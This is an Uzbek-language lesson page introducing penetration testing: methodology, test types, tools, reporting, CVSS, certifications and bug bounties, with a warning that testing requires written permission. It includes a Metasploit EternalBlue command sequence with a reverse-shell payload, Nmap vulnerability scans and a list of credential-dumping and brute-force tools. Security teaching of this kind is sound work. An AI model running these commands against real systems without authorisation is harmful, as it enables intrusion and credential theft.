Penetration Testing

Etik xakerlik — tizimlarni ruxsat bilan sinovdan o'tkazish

Penetration testing (pentest) — tashkilotning ruxsati bilan real hujumchilarning metodlarini qo'llab, tizim zaifliklarini topish jarayoni. Pentest xizmatlarining global bozori 2023-yil $1.9 milliard ni tashkil etdi. Etik xakerlar zaifliklarni topib, tuzatish imkonini beradi.

Muhim: Qonuniy ruxsatsiz pentest jinoyat!

Har qanday pentest faoliyati YOZMA ruxsatnoma asosida amalga oshirilishi shart. Ruxsatsiz tizimga kirish ko'plab mamlakatlarda 10+ yil qamoq jazosidir.

Pentest Metodologiyasi (PTES)

🔍 Razvedka OSINT, Recon 📡 Skanerlash Nmap, Nessus ⚔️ Kirish Exploitation 🏴 Post-Exploit Privilege Escalation 📋 Hisobot Tavsiyalar PTES: Penetration Testing Execution Standard

Pentest Turlari

⬛
Black Box

Pentest haqida hech qanday ma'lumot berilmaydi. Real hujumchini taqlid qiladi. Eng ko'p vaqt talab etadi.

Real hujum stsenariyi
Qimmat va sekin
⬜
White Box

To'liq ma'lumot beriladi: source code, arxitektura, credentials. Eng chuqur tahlil imkoni.

Chuqur zaiflik topish
Real hujum emas
Gray Box

Qisman ma'lumot beriladi (foydalanuvchi hisob, ba'zi arxitektura). Eng keng tarqalgan yondashuv.

Balans
Samarali
Pentest Sohalari:
  • Web Application Pentest — Web ilovalar zaifliklarini tekshirish (OWASP)
  • Network Pentest — Tarmoq infratuzilmasi (routerlar, switchlar, serverlar)
  • Mobile App Pentest — Android/iOS ilovalar (OWASP MASVS)
  • Wireless Pentest — WiFi, Bluetooth, IoT zaifliklarini tekshirish
  • Social Engineering — Phishing, vishing, tailgating testlari
  • Physical Pentest — Jismoniy xavfsizlik (qulf, kamera, kirishni nazorat)
Pentest vs Vulnerability Assessment:
Mezon Pentest VA
Zaiflik topish Ha Ha
Exploit qilish Ha Yo'q
Chuqurlik Yuqori O'rtacha
Narx Qimmat Arzon
Vaqt Haftalar Kunlar

Kali Linux — Pentest Distribusiyasi

Kali Linux — Offensive Security tomonidan yaratilgan, 600+ pentest asbobini o'z ichiga olgan Debian asosidagi distribusiya. Kali NetHunter esa Android qurilmalar uchun versiyasi.

Metasploit

Dunyo bo'yicha #1 exploit framework. 2000+ exploit, 500+ payload. MSF Console orqali ishlatiladi.

msfconsole
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
run
Burp Suite

Web app pentest uchun eng kuchli vosita. Proxy, Scanner, Repeater, Intruder, Decoder modullariga ega.

# Asosiy modullar:
# Proxy   — HTTP trafikni ushlash
# Repeater — So'rovlarni qayta yuborish
# Intruder — Brute-force/fuzzing
# Scanner — Avtomatik zaiflik skan
# Decoder — Base64/URL decode

# FoxyProxy + Burp: 127.0.0.1:8080
Nmap + NSE

Network mapper. NSE (Nmap Scripting Engine) bilan zaifliklarni aniqlash va exploitation imkoni.

# Full scan
nmap -A -T4 -p- 192.168.1.0/24

# Vulnerability scan
nmap --script vuln target.com

# SMB zaifliklar
nmap --script smb-vuln* -p445 target

# Service version
nmap -sV -sC target.com
Boshqa Muhim Asboblar:
gobuster Directory/file brute-force
hydra Login brute-force (SSH, FTP, HTTP)
john / hashcat Password cracking
sqlmap SQL injection automation
wireshark Paket analizatori
bloodhound Active Directory mapping
linpeas/winpeas Privilege escalation scripts
mimikatz Windows credentials dumping
Mashq Platformalari (Legal!):
HTB
Hack The Box
Real CTF mashinalar, Pro Labs, Academy
THM
TryHackMe
Yangi boshlovchilar uchun, ko'rsatmali yo'llar
PG
PortSwigger (Web Security Academy)
Bepul web app labs, OWASP Top 10
VH
VulnHub
Bepul zaif VM fayllar (offline mashq)

Pentest Hisoboti Tarkibi

Pentest hisoboti hujumchilar tomonidan topilgan zaifliklarni, ularning ta'sirini va tuzatish tavsiyalarini o'z ichiga oladi. Yaxshi hisobot texnik va management uchun alohida bo'limlarga ega.

Hisobot Tarkibi:
1
Executive Summary

Management uchun texnik bo'lmagan xulosa

2
Scope va Metodologiya

Test doirasi, vaqt, ishlatiligna metodlar

3
Topilgan Zaifliklar

CVSS bali, ta'sir, PoC exploit, screenshots

4
Tavsiyalar va Remediation

Har zaiflik uchun tuzatish yo'llari

5
Ilovalar (Appendix)

Tool outputlari, logs, qo'shimcha ma'lumot

CVSS Risk Baholash Tizimi:
9.0 - 10.0
Critical Darhol tuzatish kerak!
7.0 - 8.9
High Tez tuzatish
4.0 - 6.9
Medium Keyingi sprint
0.1 - 3.9
Low Rejalashtirilgan
Sertifikatsiyalar:
  • CEH — Certified Ethical Hacker (EC-Council)
  • OSCP — Offensive Security Certified Professional
  • GPEN — GIAC Penetration Tester
  • eJPT — eLearnSecurity Junior Pentest
  • CompTIA PenTest+ — vendor-neutral

Bug Bounty Dasturlari

Bug bounty dasturlarida kompaniyalar xakerlarni zaifliklarni topish uchun mukofot to'laydi. Google, Microsoft, Facebook, Apple kabi gigantlar yiliga millionlab dollar to'laydi.

HackerOne
1000+ kompaniya, $300M+ to'langan
$100 — $100,000+
Bugcrowd
500+ dastur, managed bug bounty
$50 — $50,000+
Intigriti / Synack
Evropa platformasi, private programs
$200 — $200,000+
Mashhur Bug Bounty rekordlari:
• $2,000,000 — Apple'ga iOS zaiflik (2020)
• $450,000 — Google'ga Chrome RCE
• $200,000 — Facebook'ga parol reset bypass
• $100,000 — Microsoft'ga Azure zaiflik

Bilimingizni Sinang

1. Black box pentestda nima berilmaydi?

  • A) Hech qanday ma'lumot — faqat maqsad domeni/IP
  • B) Source code
  • C) Arxitektura diagrammasi
  • D) Foydalanuvchi hisoblari

2. CVSS 9.5 balli zaiflik qaysi toifaga kiradi?

  • A) Low
  • B) Medium
  • C) High
  • D) Critical — 9.0-10.0 Critical, darhol tuzatish

3. Metasploit nimaga ishlatiladi?

  • A) Network scanning
  • B) Password cracking
  • C) Exploit framework — zaifliklarni ishlatish
  • D) Log tahlili
Parollar Ijtimoiy Muhandislik

Tizimga kiring — progressingiz saqlanadi va sertifikat olishingiz mumkin.

Bu dars quyidagi o'quv yo'llarida
Veb xavfsizligi 201 Linux: imtiyozni oshirish
Amaliyot: bilimingizni sinab ko'ring
Zaharlangan ping Qiyin 80 ball
sudo noto'g'ri sozlamasi Qiyin 80 ball